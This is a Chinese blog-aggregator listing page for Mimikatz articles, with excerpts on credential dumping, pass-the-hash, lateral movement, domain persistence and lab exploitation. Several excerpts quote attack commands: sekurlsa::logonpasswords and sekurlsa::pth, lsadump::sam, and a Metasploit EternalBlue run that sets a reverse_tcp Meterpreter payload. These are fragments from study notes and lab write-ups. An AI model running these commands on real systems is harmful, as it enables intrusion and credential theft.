Mimikatz

内网渗透-横向移动 三

PTH传递先获取到域控这边的NTLM执行命令privilege::debugsekurlsa::logonpasswords然后在域内主机用mimikatz连接sekurlsa::pth/user:administrator
Admin3K·2023-07-29 11:00

神器mimikatz密码提取工具-Crypto模块

Module-Crypto这个模块是最古老的模块之一，拥有CryptoAPI功能。主要是有certutil有利于令牌模仿，给遗留的CryptoAPI功能和CNG隔离服务打补丁Commands:·providers,stores,sc,scauth,certificates,keys,capi,cngproviders此命令列出所有提供程序：CryptoAPI，然后是CNG（如果可用）CryptoA
ha9worm·2023-07-25 13:11

mimikatz工具使用

mimikatz使用命令：msf下的mimikatzmimikatz：后渗透工具，从window进程中获取内存，并获取明文密码和NTLM哈希值的工具。
～～...·2023-07-15 21:38

我的内网渗透-Empire基本操作

Empire实现了运行PowerShell代理的功能，而无需powershell.exe，从关键记录器到Mimikatz的可快速部署的利用后模块，以及适应性强的通信以逃避网络检测，所有这些都封装在以可用性为重点的框架中
偷吃"游"的阿彪·2023-06-19 03:57

内网安全：横向传递攻击（SMB || WMI 明文或 hash 传递）

（传递攻击主要建立在明文和Hash值获取基础上进行攻击.）目录：内网安全：横向传递攻击.Procdump+Mimikatz配合获取目标主机密码：S
半个西瓜.·2023-06-09 22:55

cs工具

同时，CobaltStrike还可以调用Mimikatz等其他知名工具，因此广受黑客喜爱。CobaltStrike分为客户端和服务端可分布式操作
卿酌南烛_b805·2023-04-17 08:51

神器mimikatz密码提取工具-Standard模块

Module-StandardModule:standardFullname:StandardmoduleDescription:Basiccommands(doesnotrequiremodulename)exit-Quitmimikatzcls-Clearscreen(doesntworkwithredirections,likePsExec)answer-AnswertotheUltimat
ha9worm·2023-04-15 00:55

【内网安全】Win&Linux&内存离线读取&Hashcat破解&RDP&SSH存储提取

文章目录概述1、Windows-Mimikatz适用环境：2、Linux-mimipenguin适用环境：Linux-密码获取-内存读取&密文破解&存储凭证Windows-密码获取-在线离线读取&密文破解
今天是 几 号·2023-04-13 23:21

攻防演练-某地级市HW攻防测试演练红队渗透测试总结

二、知识点总结1.未授权访问2.SQLServerxp_cmdshell提权3.Procdump+mimikatz配合抓取密码
炫彩@之星·2023-04-13 02:31

内网渗透-横向移动 二

Procdump+Mimikatz优点：procdump是微软官方工具不会被系统安全软件查杀下载地址：https://docs.microsoft.com/zh-cn/sysinternals/downloads
Admin3K·2023-04-10 11:31

内网安全-域横向批量at&schtasks&impacket

Win2008R2（=Windows2012，需要使用schtasks命令0x02横向渗透明文HASH传递atexec-impacket0x03横向渗透明文HASH传递批量利用-综合3.1websever登录，运行mimikatz
@Camelus·2023-04-05 19:21

Mimikatz2.2 如何抓取Win11登录明文密码

环境：1.攻击者IP：192.168.1.35系统:KALI2022（vmware16.0）2.靶机IP：192.168.1.16系统:Windows113.USB无线网卡4.Mimikatz2.2(win
玩电脑的辣条哥·2023-04-03 20:08

域权限维持(万能密码与SID History滥用)

文章目录SkeletonKey(万能密码)介绍使用mimikatz进行万能密码利用SIDHistory滥用简介SIDHistory属性滥用(域控利用)SIDHistory属性滥用(krbtgt利用)总结
虚构之人·2023-03-29 12:05

域权限维持(DCShadow)

文章目录DCShadow简述DCShadow利用(mimikatz)总结DCShadow简述DCShadow属于域权限维持的手段之一,利用该技术需要具有域管理员权限或者企业管理员权限,创建恶意域控然后利用域控间正常同步数据的功能将恶意域控上的恶意对象同步到正在运行的正常域控上
虚构之人·2023-03-29 12:35

8.Linux操作系统root账号密码获取防范技术研究

在Windows中，不论设置多么复杂的密码，都可以通过彩虹表、键盘记录、mimikatz_trunk域名注入获取密码等技术获取包括Windows2008Server在内的所有
我是simeon·2023-03-29 03:35

mimikatz抓密码

目标机windowsserver2008R2第一种方法：cmd下运行mimikatz.exe，然后依次输入下面命令privilege::debugsekurlsa::logonpasswords成功抓到服务器密码第二种方法
BuFFERer·2023-03-20 17:14

RDP凭据

查看保存的远程主机信息（该命令需要在用户session下执行）cmdkey/listimage1.Mimikatz本地的凭据dir/a%userprofile%\AppData\Local\Microsoft
Z1ng3r·2023-02-06 09:39

windows 密码凭证获取

MimikatzPowershell脚本WCEPwddump7OphcrackProcdump+Mimikatz注册表导出HashLaZagneMeterpreter获取HashCobaltstrile
低头观自在·2022-12-21 08:22

渗透测试-Windows密码凭证获取

密码凭证获取姿势Windows密码凭证获取Windows认证基础Windows本地认证Windows网络认证Net-ntlmhash破解系统用户凭证获取mimikatzPowershell脚本procdump+mimikatz
曲折上升·2022-12-21 08:46

内网渗透Windows密码凭证获取

记录一下抓取window凭证信息的一些工具Windows凭证抓取1，procdump(官方工具无视免杀)（首选）procdump+mimikatz加载dmp文件，并导出其中的明文密码(procdump过杀软
西湖第一剑·2022-12-21 08:16

windows认证&密码抓取

NTMLHashwindows本地认证windows网络认证NTMLv1与v2二、域部分kerbero协议白银票据黄金票据windows密码导出lsass进程抓取mimikatz直接操作lsass进程procdump
天问_Herbert555·2022-12-21 08:15

获取目标Windows密码方式总结

文章目录一、目的/需求二、MSF的mimikatz模块获取密码2.1模块介绍2.2前提条件2.3操作方法2.3.1权限提升（略）2.3.2进程迁移2.3.3获取哈希2.2.4获取密码2.2.5其它命令三
風月长情·2022-12-21 08:01

mimikatz-windows使用指南

mimikatz-windows使用指南一．程序原理获取到内存文件lsass.exe进程(它用于本地安全和登陆策略)中存储的明文登录密码。
ploto_cs·2022-12-08 13:24

【网安神器篇】——mimikatz系统取证工具

作者名：Demo不是emo主页面链接：主页传送门创作初心：舞台再大，你不上台，永远是观众，没人会关心你努不努力，摔的痛不痛，他们只会看你最后站在什么位置，然后羡慕或鄙夷座右铭：不要让时代的悲哀成为你的悲哀专研方向：网络安全，数据结构每日emo：绿水无忧，因风皱面目录一.工具简介二.提升权限三.抓取明文密码四.sekurlsa模块五.lsadump模块1.读取所有域用户的哈希2.查看域内指定用户信息
Demo不是emo·2022-12-04 10:22

内网安全-域横向CobaltStrike&SPN&RDP

案例1-域横向移动RDP传递-Mimikatz除了上述讲到的IPC，WMI，SMB等协议的链接外，获取到的明文密码或HASH密文也可以通过RDP协议进行链接操作。
深白色耳机·2022-10-16 07:33

内网安全学习(五)----域横向: SPN&RDP&Cobalt Strike

域横向CobaltStrike&SPN&RDP1.域横向移动—RDP传递-Mimikatz除了之前提到的IPC、WMI、SMB、NTLM等协议的连接外，获取到的明文密码或HASH密文也可以通过RDP协议
暮w光·2022-10-16 07:55

第69天-内网安全-域横向 CobaltStrike&SPN&RDP

思维导图知识点演示案例域横向移动RDP传递-Mimikatz除了之前讲到的IPC，WMI，SMB等协议的连接外，获取到的明文密码或HASH密文也可以通过RDP协议进行连接操作。
IsecNoob·2022-10-16 07:19

【横向移动】内网渗透之内网信息收集

linux：2.内网网络拓扑等信息3.进程列表win:linux:4.端口信息win:linux:5.补丁信息win:linux：6.本地用户习惯及历史记录7.凭证收集8.系统哈希或明文密码获取（1）mimikatz
剑客 getshell·2022-10-13 12:35

内网安全“小迪安全课堂笔记”域横向

工作组&局域网探针方案基本认知域环境与工作组的区别环境靶机案例1-基本信息收集操作演示案例2-网络信息收集操作演示案例3-用户信息收集操作演示案例4-凭据信息收集操作演示计算机用户HASH，明文获取-mimikatz
rechd·2022-10-13 12:59

Metasploit学习笔记（六）——Meterpreter后渗透之Hash攻击提权（包含Mimikatz）

1.还是先获取计算机权限针对WIN7，还是用永恒之蓝msfconsoleuseexploit/windows/smb/ms17_010_eternalblue//利用永恒之蓝漏洞setpayloadwindows/x64/meterpreter/reverse_tcp//设置payloadsetLHOST192.168.92.131//设置本机IP地址setRHOSTS192.168.92.133
Zichel77·2022-10-12 20:11

「安全研究」从mimikatz学习万能密码——下

续上篇文章我这里测了一下skeleton攻击并抓取了流量包，客户端发送的AS-REQ请求存在AES加密但是域控的响应中却没有AES加密同时确实是报错STATUS_NOT_SUPPORTED我们继续看下kdcsvc.dll的流程在域控通过kdcgetuserskey函数接收到用户的密码后不单单是会走SamIRetrieveMultiplePrimaryCredentials函数同时会将密码传递给ke
IT老涵·2022-09-22 13:10

mimikatz提取文件中的用户名和密码

切换到文件位置输入命令提取:lsadump::sam/sam:SAM/system:SYSTEM
花城的包包·2022-09-02 17:59

永恒之蓝实战教程之Mac通过Metasploit攻击Server2008的详细过程

Metasploitmeterpreter准备工作虚拟机安装Server2008Mac上安装MetasploitMac上安装远程桌面客户端MicrosoftRemoteDesktop使用scanner辅助验证插件扫描漏洞利用mimikatz
·2022-08-31 11:38

【网络安全】永恒之蓝实战 - Mac通过Metasploit攻击Server2008

然后通过mimikatz查看系统用户。最后通过runenable_rdp开启控制机远程桌面并创建用户。
夜猫逐梦·2022-08-28 12:37

内网渗透|红日安全团队靶场渗透笔记|Mimikatz|MSF跳板

靶场下载:漏洞详情环境搭建:文件下载下来有三个压缩包,分别对应域中三台主机:VM1对应win7是web服务器VM2对应windows2003是域成员VM3对应windowsserver2008是域控解压后双击文件夹中的,vmx文件即可一键创建虚拟机,登录密码都是hongrisec@2019,2003和2009输入密码后会强制要求改密码网络配置win7网络适配器为自定义(VMnet1仅主机模式),再
恰恰想学习·2022-08-22 17:08

网安学习-内网渗透4

目录#PTH（PasstheHash）利用lm或ntlm的值进行的渗透测试域横向移动PTH传递-mimikatz#PTK（PasstheKey）利用ekeysAES256进行的渗透测试#PTT(PasstheTicket
YAy17·2022-08-02 17:06

网安学习-内网渗透3

目录#知识点1：#知识点2：#案例1-Prodump+Mimikatz配合获取#案例2-域横向移动SMB服务利用-psexec,smbexec（官方自带）#psexec第一种：现有ipc链接，psexec
YAy17·2022-08-02 17:04

ATT&CK实战系列——红队实战(—)

ATT&CK实战系列——红队实战(—)文章目录ATT&CK实战系列——红队实战(—)前言一、环境搭建1.1靶场下载1.2网卡配置二、外网渗透三、内网渗透1.尝试远程登录2.msf反弹shell3.使用mimikatz
炫彩@之星·2022-07-18 12:26

XCTF 3rd-HITB CTF-2017 arrdeepee 复现

在检查过程中，我们发现了一个叫mimikatz的东西，我们以前没有安装过，所以我们清除了，并且重新安装了box。但是，我们忘记备份我们的flag文件了。幸运的是，我们有一个攻击者网络流量捕获。
拯救の·2022-04-19 07:22

渗透测试利器【Cobalt Strike】CDN隐匿

同时，CobaltStrike还可以调用Mimikatz等其他知名工具并且可以作为团队服务使用，因此广受网络安全人员喜爱。CDN及特
IT老涵·2022-04-01 14:37

ms17-010 永恒之蓝漏洞复现+抓包分析+使用mimikatz抓取密码

安全小白整理分享学习过程欢迎指点呜呜呜卑微仔、、、一、实验环境：1、攻击机：KaliIP:192.168.218.1571）攻击工具：msf2）分析工具：wireshark2、靶机：Windows7(旗舰版)IP:192.168.218.1601）开启网络共享(SMB协议)2）关闭防火墙3、网卡连接方式：Vmnet8（NAT）二、实验步骤：1、测试攻击机与靶机的连通性2.进行MS17-010漏洞扫
滑板的29·2022-03-13 10:03

MS14-068漏洞进行提权

第一步：利用MS14-068伪造生成TGT第二步：利用mimikatz将工具得到的TGT票据写入内存，创建缓存证
mingyeqf·2022-03-04 07:21

【内网渗透】内网渗透红日靶场(vulnstack)二

10.10.10.201DC：一个网卡10.10.10.10渗透过程web就直接不看了，扔个cs马获取shell，上线之后使用systeminfo查看补丁发现存在三个补丁直接使用插件的提权功能15-051直接提权成功运行mimikatz
SanSs敲利码·2022-02-08 11:10

CobaltStrike使用-第六篇（域内渗透&横向扩展）

Windows的内置命令PowerViewCSnet模块2.用户枚举1.判断当前账号是否为管理员账号2.判断哪些账号是域管理员账号3.判断本地管理员3.利用文件操作使用WinRM运行命令Powersploit运行mimikatz
Ocean:)·2021-12-05 19:27

CobaltStrike使用-第五篇（Bypass UAC、CVE提权、Powerup提权）

前四篇文章介绍了CS的基本使用方法和模块，以及钓鱼攻击的方法，本篇将会介绍使用CS进行提权操作文章目录权限提升BypassUACCVE提权PowerUp凭证和哈希获取Beacon中的Mimikatz权限提升在主机上线后
Ocean:)·2021-12-05 19:14

内网渗透-完整的域渗透

www.freebuf.com/articles/network/306284.html文章目录域环境概念创建域创建组&用户加入域域渗透常规信息收集内网信息收集拿下20031.MySQL弱口令2.哈希传递攻击拿下域控信息收集mimikatz
Ocean:)·2021-11-28 10:43

python简单直接获取windows明文密码操作技巧

目录01、Procdump+Mimikatz02、Window2012R2抓取密码03、MSFkiwi模块01、Procdump+Mimikatz利用procdump+Mimikatz绕过杀软获取Windows
·2021-10-14 18:24

【内网学习笔记】21、哈希传递与票据传递

通过哈希传递，攻击者不需要花时间破解哈希值得到明文，在WindowsServer2012R2及之后版本的操作系统中，默认不会在内存中保存明文密码，Mimikatz就读不到密码明文，因此此时往往会使用工具将哈希值传递到其他计算机中进行登录验证
TeamsSix·2021-09-01 16:14

wireshark https去ssl得到http

---》编辑rsakeylist如下图（IP和端口就是目标地址的IP，端口一般为443），keyfile是从服务器端导出的证书私钥（注意地址不能有中文），password为证书私钥的密码，下图中我是用mimikatz
我是真的很方·2021-06-15 02:12

神器mimikatz密码提取工具-Privilege模块

Module-Privilege这个模块在mimikatz上提供一些特殊的操作命令debug通过debug获得mimikatz程序的特殊操作调试权限允许某人调试他们本来无法访问的进程。
ha9worm·2021-05-20 07:47
上一页 1 2 3 4 5 6 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他